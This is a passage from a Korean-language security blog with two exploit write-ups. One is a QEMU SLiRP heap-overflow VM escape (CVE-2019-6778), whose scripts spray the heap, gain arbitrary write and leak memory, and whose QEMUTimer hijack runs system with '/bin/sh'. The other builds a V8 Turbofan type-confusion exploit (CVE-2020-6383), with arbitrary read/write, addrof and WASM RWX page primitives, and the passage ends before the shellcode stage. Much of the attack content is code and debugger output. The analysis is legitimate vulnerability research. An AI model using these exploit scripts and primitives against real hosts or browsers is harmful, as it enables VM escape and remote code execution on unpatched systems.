0x7f2a48a54020:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54030:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54040:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54050:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54060:    0x41414141    0x41414141    0x41414141    0x41414141
gdb-peda$ x/32wx 0x7f2a48a54070
0x7f2a48a54070:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a54080:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a54090:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a540a0:    0x42424242    0x00000a42    0x00000000    0x00000000
0x7f2a48a540b0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540c0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540d0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540e0:    0x00000000    0x00000000    0x00000000    0x00000000

해당영역에 보낸 데이터가 그대로 이어져서 붙어 나오는 것을 쉽게 확인할 수 있다. 멀티스레드 힙이기 때문에 map 상에는 단순하게 mapped 영역에 있는 것으로 보인다. 청크 사이즈는 0x2245 로 크기가 한정되어 있음을 확인할 수 있다.

이제 데이터를 더 밀어넣고 오버플로우가 발생하는지 확인해보자. 청크 크기+1 만큼 데이터를 밀어넣어 8바이트만큼 오버플로우가 발생하도록 하였다. (다음 청크의 사이즈가 덮이도록 설정하였다)

#!/usr/bin/python

from pwn import *

p = remote("10.0.2.2", 113)

p.send("A"*(0x400-6))
for i in xrange(7):
    p.send("A"*0x400)
p.send("G"*0x239)

p.interactive()
gdb-peda$ x/8gx 0x7f3b84253400-0x10
0x7f3b842533f0:    0x0000000000000000    0x0000000000002245
0x7f3b84253400:    0x4141414141414141    0x4141414141414141
0x7f3b84253410:    0x4141414141414141    0x4141414141414141
0x7f3b84253420:    0x4141414141414141    0x4141414141414141
gdb-peda$ x/8gx 0x7f3b84253400-0x10+0x2240
0x7f3b84255630:    0x4747474747474747    0x0000000000001f47
0x7f3b84255640:    0x00007f3b84000080    0x00007f3b84000080
0x7f3b84255650:    0x0000000000000000    0x0000000000000000
0x7f3b84255660:    0x0000000000000000    0x0000000000000000

다음 청크의 사이즈의 한 바이트가 47 로 성공적으로 덮인 것을 확인할 수 있다. 이후 continue를 하게 되면 SIGABRT가 나오며 Qemu가 죽게된다.

즉, sbuf는 힙 영역에 할당되어 있기 때문에 heap overflow가 발생하고, 해당 overflow를 이용하여 힙 익스플로잇을 작성하면 된다.

Exploit

이제 힙 오버플로우를 통해 힙 구조를 조작할 수 있게 되었지만 여전히 malloc, free를 임의로 호출할 수 없다. 따라서 이들을 위해 primitive를 작성할 필요가 있다.

malloc primitive

https://github.com/0xKira/qemu-vm-escape/blob/master/writeup_zh.md

해당 write-up을 보게 되면 malloc primitive를 IP Fragmentation을 통해 얻는 것을 확인할 수 있다. 아래 코드를 살펴보자.

// slirp/ip_input.c:184
        /*
         * If datagram marked as having more fragments
         * or if this is not the first fragment,
         * attempt reassembly; if it succeeds, proceed.
         */
        if (ip->ip_tos & 1 || ip->ip_off) {
            ip = ip_reass(slirp, ip, fp);
                        if (ip == NULL)
                return;
            m = dtom(slirp, ip);
        } else
            if (fp)
                  ip_freef(slirp, fp);

ip_reass 에서 리턴값을 NULL로 받게 되면 바로 return 해버리기 때문에 m_buf가 그대로 남아있는 것을 확인할 수 있다. ip_reass에서 리턴값이 NULL이 되는 경우는 다음과 같다.

  1. fp == NULL
  2. insert로 이동
  3. 큐 확인 후 해당 fragment 패킷을 삽입하는 것이 불가능하다. -> NULL 반환

하지만 해당 루틴까지 오기 위해 거쳐야 할 체크들이 존재한다. (아래 체크들이 만족하면 문제가 되며 바로 m_free 루틴으로 향한다)

  1. m->m_len < sizeof (struct ip)
  2. ip->ip_v != IPVERSION
  3. hlen<sizeof(struct ip ) || hlen>m->m_len
  4. cksum(m,hlen)
  5. ip->ip_len < hlen
  6. m->m_len < ip->ip_len
  7. ip->ip_ttl == 0

마지막으로 ip->ip_off &~ IP_DF, ip->ip_tos & 1 || ip->ip_off 조건들도 만족해야 원하는 루틴을 트리거할 수 있다. 아래 코드를 작성하고 돌렸을 경우 malloc이 연속적으로 수행되면서 청크가 쌓인다.

packet = IP(src=ip_src, dst=ip_dst, frag=0, flags=0b001, proto=6, id=spray_id)
send(packet, verbose=False)

malloc과 free 함수들에 대해 후킹을 진행한 뒤 위의 코드를 반복적으로 실행하면 아래 결과들을 얻을 수 있다. (LD_PRELOAD를 통해 후킹을 진행한 뒤 진행하였다)

0x7f9c1c1997b0 : malloc(668) hooked
0x7f9c1c199e20 : malloc(668) hooked
0x7f9c1c19a490 : malloc(668) hooked
0x7f9c1c19ab00 : malloc(668) hooked
0x7f9c1c13a980 : malloc(668) hooked
0x7f9c1c13aff0 : malloc(668) hooked
0x7f9c1c13b660 : malloc(668) hooked
0x7f9c1c13bcd0 : malloc(668) hooked
0x7f9c1c13c340 : malloc(668) hooked
0x7f9c1c13c9b0 : malloc(668) hooked
0x7f9c1c13d020 : malloc(668) hooked
0x7f9c1c13d690 : malloc(668) hooked

위처럼 청크가 쌓이다가 아래 패턴이 반복된다.

0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
0x7f9c1c13d690 : malloc(668) hooked
0x7f9c1c13dd00 : malloc(668) hooked

한 청크 / bin에 대해 malloc과 free를 반복적으로 수행하나 malloc이 연속 3번으로 나와 청크가 쌓이는 것을 확인할 수 있다.

Arbitrary Write

Arbitrary write를 위해 mbuf를 할당받고 이를 heap overflow를 통해 덮어쓴 뒤 사용한다. 우선, 힙 레이아웃을 정리하여 mbuf를 할당받고 이를 덮어쓸 수 있게 해야 한다. 아래 과정을 통해 힙 레이아웃을 정리하였다.

  1. Malloc primitive로 0x2000짜리 heap spray (bin을 없애서 malloc을 차례대로 하면 차례대로 청크가 할당될 수 있도록 한다) (MTU 설정에 따라 크기가 달라지니 MTU 설정을 바꿔서 크기를 맞춰준다. (9000으로))
  2. sbuf->so_rcv 할당 받기 (0x2240짜리, 113 포트)
  3. Malloc primitive으로 mbuf 할당 받기 -> 0x2240 뒤에 할당됨

코드는 아래와 같다.

#!/usr/bin/python3

from pwn import *
from scapy.all import *

ip_src = "10.0.2.15"
ip_dst = "10.0.2.2"

p = None

def spray(spray_id):
    packet = IP(src=ip_src, dst=ip_dst, frag=0, flags=0b001, proto=6, id=spray_id)
    send(packet, verbose=False)

def send_to_113(data):
    global p
    p = remote(ip_dst, 113)

    for i in range(len(data) // 0x400):
        p.send(data[0x400*i:0x400*i+0x400])
        sleep(0.1)
    p.send(data[len(data) // 0x400 * 0x400:])
    sleep(0.1)

# do spray
spray_id = 0xaaaa
for i in range(0x100):
    spray(spray_id+i)

send_to_113("A"*0x2000+"G"*0x238)

spray(0xdead)

p.interactive()

이 상태에서 입력을 더 넣게 되면 heap overflow가 발생하는 것을 확인할 수 있다. (아래 참조, 8바이트 + newline을 넣어 9바이트만큼 오버플로우가 발생하였다)

0x7f4da408da00:    0x4747474747474747    0x4747474747474747
0x7f4da408da10:    0x4747474747474747    0x4747474747474747
0x7f4da408da20:    0x4747474747474747    0x5050505050505050
0x7f4da408da30:    0x00007f4da408b10a    0x00007f4da408e0a0
0x7f4da408da40:    0x0000000000000000    0x0000000000000000
0x7f4da408da50:    0x000006080000000c    0x00007f4da4123620
0x7f4da408da60:    0x00007f4da408dad0    0x0000000000000000
0x7f4da408da70:    0x000056093a36a7b0    0x0000000000000000
0x7f4da408da80:    0xffffffffffffffff    0x0000000000000000

위의 과정을 통해 mbuf 구조체를 덮을 수 있고 이는 arbitrary write까지 연결된다. 아래 루틴을 활용할 것이다.

// slirp/ip_input.c:331
    /*
     * Reassembly is complete; concatenate fragments.
     */
    q = fp->frag_link.next;
    m = dtom(slirp, q);

    q = (struct ipasfrag *) q->ipf_next;
    while (q != (struct ipasfrag*)&fp->frag_link) {
      struct mbuf *t = dtom(slirp, q);
      q = (struct ipasfrag *) q->ipf_next;
      m_cat(m, t);
    }
// slirp/mbuf.c:129
/*
 * Copy data from one mbuf to the end of
 * the other.. if result is too big for one mbuf, allocate
 * an M_EXT data segment
 */
void
m_cat(struct mbuf *m, struct mbuf *n)
{
    /*
     * If there's no room, realloc
     */
    if (M_FREEROOM(m) < n->m_len)
        m_inc(m, m->m_len + n->m_len);

    memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
    m->m_len += n->m_len;

    m_free(n);
}

ip_reass 의 루틴을 이용하여 m_cat을 호출할 수 있으며, m_cat 에서는 memcpy로 데이터를 복사하여 넣어준다. 이를 이용하여 arbitrary write를 얻을 수 있다. m_cat을 실행하는 것은 단순히 같은 ip id 에 대해 MF를 끈 상태로 패킷을 보내면 된다. 그러면 조작한 m_data와 m_len에 따라서 데이터가 복사되어 들어가게 된다.

Memory Leak

ICMP echo reply에 대한 rfc792 문서를 보게 되면 아래 내용을 확인할 수 있다.

The data received in the echo message must be returned in the echo reply message.

즉, 보낸 데이터를 그대로 다시 돌려준다는 것이다. 따라서 이를 이용하여 memory leak을 낼 것이다.

Arbitrary write에서 했던 것과 비슷하게 한다. 다만, 이번에는 m_data를 전체 다 덮는 것이 아니라 일부만 (하위 3바이트) 덮어서 메모리를 얻을 것이다. 익스플로잇 진행 흐름은 아래와 같다.

  1. m_buf를 partial overwrite해서 힙의 다른 위치를 가리키게 한다.
  2. MF=1로 ICMP request를 보낸다.
  3. sbuf에서 heap overflow를 일으켜서 m_data의 하위 3바이트를 덮는다.
  4. MF=0으로 ICMP request를 보낸다. (2와 같은 아이디로)

이를 통해 Host에 ICMP request를 보내면 echo reply로 게스트에 메모리 값들을 다시 보내주게 된다. 해당 데이터를 다시 받아 libc base 주소와 heap 주소를 얻으면 된다.

PC Control

PC Control의 경우 QEMUTimer를 이용하면 된다. 해당 코드는 아래와 같다.

// util/qemu-timer.c:68
struct QEMUTimerList {
    QEMUClock *clock;
    QemuMutex active_timers_lock;
    QEMUTimer *active_timers;
    QLIST_ENTRY(QEMUTimerList) list;
    QEMUTimerListNotifyCB *notify_cb;
    void *notify_opaque;

    /* lightweight method to mark the end of timerlist's running */
    QemuEvent timers_done_ev;
};
// include/qemu/timer.h:83
struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;
    void *opaque;
    QEMUTimer *next;
    int attributes;
    int scale;
};
// util/qemu-timer.c:588
bool qemu_clock_run_timers(QEMUClockType type)
{
    return timerlist_run_timers(main_loop_tlg.tl[type]);
}

QEMU timer에 관한 코드들은 위와 같다. main_loop_tlg 에 저장되어 있는 Timer 리스트를 가지고 와서 해당 리스트에 있는 timer의 cb 함수를 호출하게 된다. 따라서 fake timer list를 만든 뒤에 main_loop_tlg 를 덮어서 가짜로 만든 리스트를 참조하게 하면 된다. 그러면 cb에 넣은 함수 포인터를 참조하여 함수를 실행하게 되고, 이를 이용하여 PC Control을 얻을 수 있다.

힙의 적당한 위치에 arbitrary write primitive를 이용하여 fake timer list를 작성하고 다시 arbitrary write를 통해 main_loop_tlg를 덮어 fake timer list를 가리키게 하면 된다. cb에 system 함수를 넣으면 system을 실행해준다. cb 에 system을 넣고 opaque 에 명령어를 입력하면 (ex - "/bin/sh") system에 opaque에 들어가 있는 인자를 넣고 실행시킨다. 이를 통해 system에 원하는 명령어를 넣어 실행시킬 수 있다.

Conclusion

youtu.be/PT_dXlKWs8w

SLiRP에서 발생하는 힙 오버플로우 취약점을 성공적으로 익스플로잇할 수 있었다. 처음에 scapy를 이용하여 익스플로잇을 재구성하다가 실패하였고 그 원인을 6일간 삽질한 끝에 MTU를 조정하지 않았기 때문임을 알 수 있었다. 결국에는 주어진 익스플로잇 코드를 오프셋과 구조를 다시 변경하여 세팅한 환경에서 작동할 수 있도록 재구성하였고, 그 결과 성공적으로 익스플로잇을 할 수 있었다.

시간 관계상 scapy로 익스플로잇 코드를 재구성하는 것은 하지 못하지만 그래도 QEMU의 네트워크에서 발생하는 취약점을 어떻게 익스플로잇할 수 있는지 배울 수 있었다. 네트워크 프로토콜을 잘 조작하면 malloc primitive 등 원하는 기능을 수행할 수 있도록 바꿀 수 있다는 것을 확인할 수 있었고, 배우기만 했지만 직접 해보지 않았던 리얼월드에서 익스플로잇을 성공적으로 수행하기 위한 heap spray 기법 등을 이번 기회를 통해 직접 해볼 수 있었다.

마지막으로 security mitigation들이 모두 걸려있어 익스플로잇이 힘든 바이너리에서 QEMUTimer를 이용하여 익스플로잇을 할 수 있다는 것을 이번 익스플로잇 분석을 통해 배울 수 있었다.

'보안 > CVE Analysis' 카테고리의 다른 글

QEMU CVE-2019-6778 Analysis  (0) 2021.01.19
V8 CVE-2020-6383 Exploit  (0) 2021.01.19

소개

이번 보고서에서는 CVE-2020-6383에 대한 익스플로잇 코드를 작성하는 것을 목표로 한다. 해당 취약점은 git 버전 2020년 2월 12일 커밋인 73f88b5f69077ef33169361f884f31872a6d56ac 에서 발생하였다. Turbofan 관련 취약점으로 type confusion으로 OOB를 일으킬 수 있는데, 이를 이용하여 익스플로잇을 작성하면서 V8을 익스하는 방법에 대해 배워볼 것이다.

해당 보고서는 (1) Root Cause Analysis, (2) Exploit 작성으로 구성되어 있다.

본문

환경 세팅

V8 익스를 테스트하기 위해서는 우선 환경 세팅부터 해야 한다. 본인이 주로 참고용으로 사용하는 블로그를 참조하여 환경을 세팅하였다. 환경 세팅을 하는 방법은 다음과 같다.

  1. depot_tools를 설치한다. 본인은 이전에 V8에 관한 연구를 진행한 적이 있어 설치가 되어 있었다.
  2. fetch v8을 실행하여 V8 소스코드를 받는다. git으로 받을 경우 빌드 툴이 받아지지 않는 등 여러 문제가 생긴다.
  3. V8 디렉토리에 들어가서 ./build/install-build-deps.sh를 실행한다. 빌드를 위한 툴들을 설치하는 과정인데, 이 역시 본인은 설치가 되어 있었다.
  4. git reset --hard 73f88b5f69077ef33169361f884f31872a6d56ac을 실행하여 버전을 맞춘다.
  5. gclient sync를 실행하여 빌드를 위한 툴들의 버전을 맞춘다.
  6. ./tools/dev/v8gen.py x64.release 또는 ./tools/dev/v8gen.py x64.debug를 실행하여 release 버전 또는 debug버전의 세팅을 만든다.
  7. ninja -C ./out.gn/x64.releaseninja -C ./out.gn/x64.debug를 수행한다. (앞과 동일하게 한다)

위의 과정들을 거치면 v8/out.gn 폴더에 빌드된 파일들이 위치해 있는 것을 확인할 수 있다.

Root Cause Analysis

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6383
https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1
https://core-research-team.github.io/2020-06-01/v8-1-day-CVE-2020-6383

Typer::Visitor::TypeInductionVariablePhi(Node* node)에서 발생하는 취약점이다. Phi 함수의 경우 루프문에서 카운트 역할을 하는 변수들을 (ex - for문 안의 i) 하나로 합쳐주는 함수인데, 자세한 내용은 컴파일러의 SSA를 공부하면 된다. (여기서는 자세히 다루지 않겠다) TypeInductionVariablePhi의 경우 Turbofan의 Typer 단계에서 phi 함수에 대한 type induction을 (변수의 타입 유도) 수행하고, Type::Range으로 loop variable에 대한 최소값과 최대값을 계산하여 반환한다. (예를들어 for문이 있을 때 초기값, bound, 증가값을 통해 최소와 최대를 계산한다)

문제가 되는 코드를 살펴보면 아래와 같다.

// src/compiler/typer.cc:857

  const bool both_types_integer = initial_type.Is(typer_->cache_->kInteger) &&
                                  increment_type.Is(typer_->cache_->kInteger);
  bool maybe_nan = false;
  // The addition or subtraction could still produce a NaN, if the integer
  // ranges touch infinity.
  if (both_types_integer) {
    Type resultant_type =
        (arithmetic_type == InductionVariable::ArithmeticType::kAddition)
            ? typer_->operation_typer()->NumberAdd(initial_type, increment_type)
            : typer_->operation_typer()->NumberSubtract(initial_type,
                                                        increment_type);
    maybe_nan = resultant_type.Maybe(Type::NaN());
  }

  // We only handle integer induction variables (otherwise ranges
  // do not apply and we cannot do anything).
  if (!both_types_integer || maybe_nan) {
    // Fallback to normal phi typing, but ensure monotonicity.
    // (Unfortunately, without baking in the previous type, monotonicity might
    // be violated because we might not yet have retyped the incrementing
    // operation even though the increment's type might been already reflected
    // in the induction variable phi.)
    Type type = NodeProperties::IsTyped(node) ? NodeProperties::GetType(node)
                                              : Type::None();
    for (int i = 0; i < arity; ++i) {
      type = Type::Union(type, Operand(node, i), zone());
    }
    return type;
  }

위에서 increment와 loop variable을 모두 kInteger 타입으로 주면 both_type_integer가 true가 된다. 이럴 경우 infinity에 대한 addition과 subtraction (예를 들어 -inf + inf = NaN)이 존재할 경우 maybe_nan을 true로 만들어 NaN이 발생할 수 있음을 체크한다.

  if (increment_min >= 0) {
    [...]
  } else if (increment_max <= 0) {
    [...]
  } else {
    // Shortcut: If the increment can be both positive and negative,
    // the variable can go arbitrarily far, so just return integer.
    return typer_->cache_->kInteger;
  }
  [...]

위를 보면 increment_min < 0 이고 increment_max > 0 이면 kInteger 타입을 반환하는 것을 확인할 수 있다. 즉, increment가 동시에 음수이며 양수가 될 수 있으면 kInteger 타입을 반환한다.

위 코드의 문제는 increment가 루프문 안에서 값이 변할 수 있다는 점이다. maybe_nan 계산을 위에서 한번밖에 수행하지 않기 때문에 increment를 중간에 변형하면 타입은 kInteger로, 실제 값은 NaN으로 처리할 수 있다. 아래 PoC를 살펴보자.

https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1

function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }
                                  // JIT                                                / no-JIT
  var value = Math.max(i, 1024);  // [1024, inf]    (actual value : NaN (0))            / NaN
  value = -value;                 // [-inf, -1024]  (actual value : NaN (0))            / NaN
  value = Math.max(value, -1025); // [-1025, -1024] (actual value : NaN (0))            / NaN
  value = -value;                 // [1024, 1025]   (actual value : NaN (0))            / NaN
  value -= 1022;                  // [2, 3]         (actual value : -1022 (0x7ffffc02)) / NaN
  value >>= 1; // *** 3 ***       // 1              (actual value : 0x3ffffe01)         / NaN >> 1 = 0
  value += 10;                    // 1 + 10 = 11    (acutal value : 0x3ffffe0b)         / 10

  var array = Array(value);
  array[0] = 1.1;
  return [array, {}];
};

for (let i = 0; i < 20000; ++i) {
  trigger();
}

console.log(trigger()[0][11]);

위에서 표시한대로 JIT이 적용된 상황과 JIT이 적용되지 않은 상황의 value 값이 달라지게 된다. 이것 때문에 trigger()[0][11] 을 하게되면 oob read가 되게 된다. 실제로 안쪽에 DebugPrint로 array를 찍게되면 길이가 10에서 어느 순간 1073741323으로 변하는 것을 확인할 수 있다.

$ ./x64.release/d8 --trace-turbo exploit.js
Concurrent recompilation has been disabled for tracing.
---------------------------------------------------
Begin compiling method trigger using TurboFan
---------------------------------------------------
Finished compiling method trigger using TurboFan
---------------------------------------------------
Begin compiling method  using TurboFan
---------------------------------------------------
Finished compiling method  using TurboFan
4.738595637177416e-270

Turbolizer에서 json 파일이 알 수 없는 unexpected token 문제로 열리지 않아 그래프를 확인하지 못했다. 하지만 release 모드에서 성공적으로 oob read가 되는 것을 확인할 수 있다. (debug 모드에서는 DCHECK로 인해 에러가 난다)

Exploit

익스플로잇을 작성하는 것에는 5단계가 있다. (거의 공식으로 취급된다)

  1. 유틸리티 함수들을 (integer <-> float, hex dump) 작성한다.
  2. Primitive들을 작성한다. (Arbitrary read, arbitrary write, address-of, 필요하다면 fakeobj)
  3. WASM module을 통해 RWX 페이지를 할당받는다.
  4. RWX 페이지에 arbitrary write를 통해 쉘코드를 작성한다.
  5. WASM instance를 실행하여 쉘을 띄운다.

위의 과정들을 차근히 해보자. 주로 참조한 소스들은 본인이 예전에 연구로 작성했던 익스플로잇 코드와 oob-v8 faith 블로그다.

https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
https://github.com/candymate/csed499I-01

1. 유틸리티 함수들 작성

처음으로 해야할 것은 유틸리티 함수들을 작성하는 것이다. 본인이 잘 사용하는 유틸리티 함수들은 정수-실수 변환 함수 2개와 hex로 출력하는 함수 하나이다. 이들은 단순 코딩이어서 다시 작성하는 것이 의미 없다고 여겨져 faith 블로그에서 가져왔다.

// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
  f64_buf[0] = val;
  return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
  u64_buf[0] = Number(val & 0xffffffffn);
  u64_buf[1] = Number(val >> 32n);
  return f64_buf[0];
}

function getHexString(val) {
  return "0x" + ftoi(val).toString(16);
}

2. Primitive들 작성

2-1. PoC 분석

이제 PoC도 있으니 해당 PoC를 잘 활용하여 primitive들을 작성한다. 우선 PoC가 어떤 부분을 읽어서 leak이 되는지 확인하였다. PoC 함수 리턴 값을 DebugPrint로 찍어 확인하였다.

var m_obj = trigger();
%DebugPrint(m_obj);
%DebugPrint(m_obj[0]);
%DebugPrint(m_obj[1]);
m_obj[0][10] = 1.1;
console.log(getHexString(m_obj[0][11]));
0x1de2082c8649 <JSArray[2]>
0x1de2082c85ad <JSArray[1073741323]>
0x1de2082c861d <Object map = 0x1de2082402d9>
0x80406e9082402d9

두번째 출력된 배열의 주소를 gdb로 찍어보면 아래와 같다. (Tagged Pointer로 인해 주소에 -1을 해주었고, Pointer Compression으로 인해 wx 모드로 찍었다. Pointer Compression 에 대해 잘 모를 경우 다음 링크의 Variant 4를 보면 된다)

gdb-peda$ x/8wx 0x1de2082c85ad-1
0x1de2082c85ac: 0x082418b9      0x080406e9      0x082c85bd      0x7ffffc16
0x1de2082c85bc: 0x08040a15      0x00000016      0x9999999a      0x3ff19999

+8지점이 (0x082c85bd) elements에 해당하므로 해당 주소를 볼 필요가 있다. 아래 자료 참고.

해당 주소를 확인하면 array의 element가 들어있는 것을 확인할 수 있다. 주소에 isolate root에 해당하는 0x1de2를 붙여주었다.

gdb-peda$ x/32wx 0x1de2082c85bd-1
0x1de2082c85bc: 0x08040a15      0x00000016      0x9999999a      0x3ff19999
0x1de2082c85cc: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c85dc: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c85ec: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c85fc: 0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x1de2082c860c: 0xfff7ffff      0xfff7ffff      0x9999999a      0x3ff19999
0x1de2082c861c: 0x082402d9      0x080406e9      0x080406e9      0x0804021d
0x1de2082c862c: 0x0804021d      0x0804021d      0x0804021d      0x080404b1

위를 보면 첫번째는 map (shape)이며, 두번째는 length다. SMI 표기로 인해 2배로 표시되는 것을 감안하면 길이는 11임을 확인할 수 있다. (element의 길이는 11이지만 JSArray의 길이는 매우 큰 값이다) 3번째부터는 element들이 들어가 있는데, 1.1에 해당하는 값이 8 바이트에 걸쳐 들어가 있다.

trigger()[0][11] 을 접근하게 되면 0x1de2082c861c 주소를 참조하게 된다. 이는 trigger 함수 리턴 값의 1번 인덱스 인스턴스의 map에 (shape) 해당한다. 이를 적절히 수정하면 type confusion을 낼 수도 있다.

2-2. Arbitrary Read / Write

Pointer Compression에서 isolate root를 구할 수 있는 명확한 방법은 존재하지 않는다. (대부분의 경우 r13 레지스터에 저장되어 메모리에 위치하고 있지 않기 때문이다) 또한, 압축된 포인터를 조작하여 얻을 수 있는 arbitrary read와 arbitrary write는 4바이트 주소 내로 한정되게 된다. 하지만 ArrayBuffer의 backing store pointer를 활용하면 메모리 전체 영역에 대한 arbitrary read / write를 얻을 수 있다. (Backing store pointer는 glibc heap을 가리키고 있는데, isolate root로 얻을 수 없는 주소여서 8바이트 전체 포인터가 저장되어 있다)

따라서 ArrayBuffer를 활용할 것이다. 다음과 같이 구성하면 ArrayBuffer의 backing store pointer를 얻을 수 있다.

var m_obj = trigger();
%DebugPrint(m_obj);
%DebugPrint(m_obj[0]);
%DebugPrint(m_obj[1]);
m_obj[1] = new ArrayBuffer(8);
%DebugPrint(m_obj[1]);
console.log(getHexString(m_obj[0][21])); // backing store pointer
0x03bb082c8649 <JSArray[2]>
0x03bb082c85ad <JSArray[1073741323]>
0x03bb082c861d <Object map = 0x3bb082402d9>
0x03bb082c8659 <ArrayBuffer map = 0x3bb08241189>
0x558ab4a889e0
gdb-peda$ x/52wx 0x03bb082c85ad-1
0x3bb082c85ac:  0x082418b9      0x080406e9      0x082c85bd      0x7ffffc16
0x3bb082c85bc:  0x08040a15      0x00000016      0x9999999a      0x3ff19999
0x3bb082c85cc:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c85dc:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c85ec:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c85fc:  0xfff7ffff      0xfff7ffff      0xfff7ffff      0xfff7ffff
0x3bb082c860c:  0xfff7ffff      0xfff7ffff      0x9999999a      0x3ff19999
0x3bb082c861c:  0x082402d9      0x080406e9      0x080406e9      0x0804021d
0x3bb082c862c:  0x0804021d      0x0804021d      0x0804021d      0x080404b1
0x3bb082c863c:  0x00000004      0x082c85ad      0x082c8659      0x082418e1
0x3bb082c864c:  0x080406e9      0x082c8639      0x00000004      0x08241189
0x3bb082c865c:  0x080406e9      0x080406e9      0x00000008      0x00000000
0x3bb082c866c:  0xb4a889e0      0x0000558a      0x00000002      0x00000000

0x3bb082c866c에 backing store pointer가 위치한다. 이를 m_obj[0][21] 로 접근할 수 있다. 해당 값을 변조하여 전체 메모리 영역에 대한 arbitrary read / write를 수행할 수 있다. 이를 이용하여 primitive 들을 작성하였다.

function arb_read(addr) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  return ftoi(dataView.getFloat64(0, true));
}

function arb_write(addr, value) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  dataView.setFloat64(0, itof(value), true);
}
2-3. Address-of

Address of primitive의 경우 isolate root를 구할 명확한 방법이 없어 전체 포인터를 구할 수 없지만 하위 4바이트 주소를 얻을 수 있다. (얻은 주소는 오프셋 계산에 쓰일 수 있다) Primitive를 아래와 같이 작성하였다.

function addrof(obj) {
  var m_obj = trigger();
  m_obj[1] = obj;
  return ftoi(m_obj[0][16]) & 0xffffffffn;
}

[array, {}] 의 1번 인덱스에 인스턴스를 넣고 OOB read를 통해 값을 float로 읽어들였다.

3. RWX Page 할당

WASM 모듈을 임의의 코드로 생성만 해주면 RWX 페이지가 생겨난다. WasmFiddle을 활용하여 WASM 코드를 획득하였다.

int main() { 
  return 42;
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
const wasm_mod = new WebAssembly.Module(wasm_code);

해당 코드들을 넣고 gdb로 메모리 맵을 찍어보면 성공적으로 RWX 페이지가 생겨남을 확인할 수 있다.

gdb-peda$ vmmap
Start              End                Perm      Name
0x00001864e44f6000 0x00001864e44f7000 rwxp      mapped
0x00002e0700000000 0x00002e070000c000 rw-p      mapped
[...]

4. RWX 페이지에 쉘코드 작성

4-1. RWX 페이지 주소 구하기

RWX 페이지 주소의 경우 WASM 인스턴스의 주소에서 +0x68 위치에 놓여있다. 이를 읽어내면 된다. OOB read로 읽으려고 시도했으나 WASM 인스턴스의 주소가 array 주소보다 낮아 OOB read를 할 수 없는 문제가 생겼다.

for (let i = 0; i < 30000; ++i) {
  trigger();
}

[...]

var w_obj = trigger(); // to read RWX page address
w_obj[1] = wasm_instance;
%DebugPrint(w_obj);
%DebugPrint(w_obj[0]);
%DebugPrint(w_obj[1]);
%DebugPrint(wasm_mod);
const f = wasm_instance.exports.main;

console.log(getHexString(itof(addrof(wasm_instance))));
0x3a780830d4a9 <JSArray[2]>
0x3a780830d40d <JSArray[1073741323]>
0x3a7808211519 <Instance map = 0x3a7808244951>
0x3a780830d1dd <Module map = 0x3a78082447e9>
